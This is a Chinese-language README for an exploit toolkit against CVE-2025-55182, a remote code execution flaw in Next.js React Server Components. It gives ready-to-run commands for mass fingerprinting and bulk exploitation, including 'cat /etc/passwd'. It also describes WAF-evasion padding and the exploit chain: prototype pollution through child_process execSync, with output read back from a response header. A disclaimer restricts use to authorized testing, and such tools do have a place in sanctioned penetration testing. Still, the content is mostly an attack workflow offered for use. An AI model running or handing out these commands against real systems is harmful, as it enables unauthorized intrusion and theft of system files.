CVE-2025-55182 漏洞利用工具

一个全面的安全研究工具，用于测试 Next.js React Server Components 远程代码执行漏洞（CVE-2025-55182）。

概述

该工具包为 CVE-2025-55182 提供自动化检测与利用能力，CVE-2025-55182 是一个影响使用 React Server Components 的 Next.js 应用程序的严重 RCE 漏洞。该工具包包含三个集成组件：

• NextApp.py - 智能 Next.js 应用指纹识别扫描器
• exploit.sh - 灵活的利用工具，支持单个或批量目标
• auto_exploit.sh - 端到端自动化扫描与利用编排器

功能特性

• 多层检测：标头分析、响应体扫描和 JavaScript 指纹识别
• 置信度评分：智能分类（高/中/低），最大限度减少误报
• WAF 绕过：内置规避常见 Web 应用防火墙的技术
• 批量扫描：高效处理多个目标，并提供详细报告
• 自动化工作流：一条命令即可完成检测与利用
• 详细报告：全面的输出文件，包含分类结果

环境要求

Python 组件

• Python 3.x
• requests 库

pip3 install requests

Bash 组件

• curl
• openssl
• 标准 Unix 工具（sed, grep, awk, mktemp）

安装

git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh

使用方法

快速开始（推荐）

扫描并利用目标的最快方式：

# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt

# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"

仅检测

识别 Next.js 应用程序但不进行利用：

python3 NextApp.py targets.txt

输出文件：

• confirmed_nextjs_targets.txt - 所有检测到的 Next.js 应用程序
• high_confidence_nextjs_targets.txt - 仅高置信度检测结果

单目标利用

测试单个目标：

# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"

# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w

# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256

# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k

批量利用

方案一：统一工作流（推荐）

./auto_exploit.sh -i targets.txt -s -c "whoami"

方案二：两步手动工作流

# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt

# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"

高级选项

# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"

# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"

# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"

命令参考

NextApp.py

python3 NextApp.py <targets_file>

参数：

• targets_file - 包含目标 URL 的文本文件（每行一个）

exploit.sh

./exploit.sh [OPTIONS]

选项：

auto_exploit.sh

./auto_exploit.sh [OPTIONS]

选项：

输出文件

confirmed_nextjs_targets.txt

由 NextApp.py 生成 - 包含所有被识别为 Next.js 应用程序的 URL。

high_confidence_nextjs_targets.txt

由 NextApp.py 生成 - 仅包含高置信度 Next.js 检测结果（置信度评分 100+）。

exploit_results.txt

由 auto_exploit.sh 生成 - 全面的利用报告，包括：

• 存在漏洞的目标及其命令输出
• 不存在漏洞的目标
• 错误及其详细信息
• 摘要统计

检测方法

扫描器使用多种检测技术并配合置信度评分系统：

标头分析（每项50分）

• Next.js 特定标头：x-nextjs-*、x-vercel-*
• x-powered-by: Next.js
• Server: Vercel

响应体扫描

• __NEXT_DATA__ 存在（100分）
• Next.js buildId 模式（50分）
• _next/* 资源路径（根据数量25-75分）

JavaScript 指纹识别（60分）

• __NEXT_DATA__、__NEXT_LOADED_PAGES__
• middlewareManifest、self.__RSC_MANIFEST

置信度阈值：

• 高（100+）：多个强指标
• 中（75-99）：多个中等指标
• 低（50-74）：证据极少
• 低于50：视为误报并拒绝

利用机制

该利用程序利用 Next.js React Server Components 中的原型链污染链：

1. 构造包含嵌套负载的 multipart 表单数据
2. 通过 JSON 反序列化污染 __proto__ 链
3. 向 _response._prefix 注入任意 JavaScript
4. 通过 process.mainModule.require('child_process').execSync() 执行命令
5. 从 X-Action-Redirect 标头中提取结果
6. URL 解码并格式化输出

WAF 绕过技术

该工具包包含内置的 WAF 绕过能力：

• 垃圾数据注入：预置随机数据以绕过基于大小的过滤器
• 动态边界：随机化 multipart 边界
• 请求 ID 随机化：每个请求使用唯一 ID
• 可配置大小：可调节垃圾数据大小（默认 128KB）

使用 -w 或 --waf-bypass 标志启用。

示例

扫描并利用 Web 应用程序

# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF

# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"

# Check results
cat exploit_results.txt

使用 WAF 绕过测试单个目标

./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256

仅高置信度目标

# Step 1: Detect and filter
python3 NextApp.py targets.txt

# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"

法律免责声明

本工具仅供授权安全测试和研究使用。使用者必须：

• ✅ 在测试任何系统前获得明确的书面许可
• ✅ 仅用于经授权的渗透测试项目
• ✅ 遵守所有适用的法律法规
• ✅ 用于防御性安全研究和 CTF 竞赛

未经授权访问计算机系统是违法的。 作者不对滥用本工具承担任何责任。

漏洞信息

• CVE ID: CVE-2025-55182
• 受影响组件: Next.js React Server Components
• 类型: 远程代码执行（RCE）
• 严重性: 严重

致谢

感谢发现并披露此漏洞的安全研究人员：

• @zack0x01
• @infosec_au
• @pdiscoveryio

贡献

欢迎贡献！请：

1. Fork 该仓库
2. 创建功能分支
3. 提交您的更改
4. 提交 Pull Request

支持

如有问题、疑问或功能请求，请在 GitHub 上提交 issue。

许可证

本项目仅用于教育和授权安全测试目的。请负责任地、合乎道德地使用。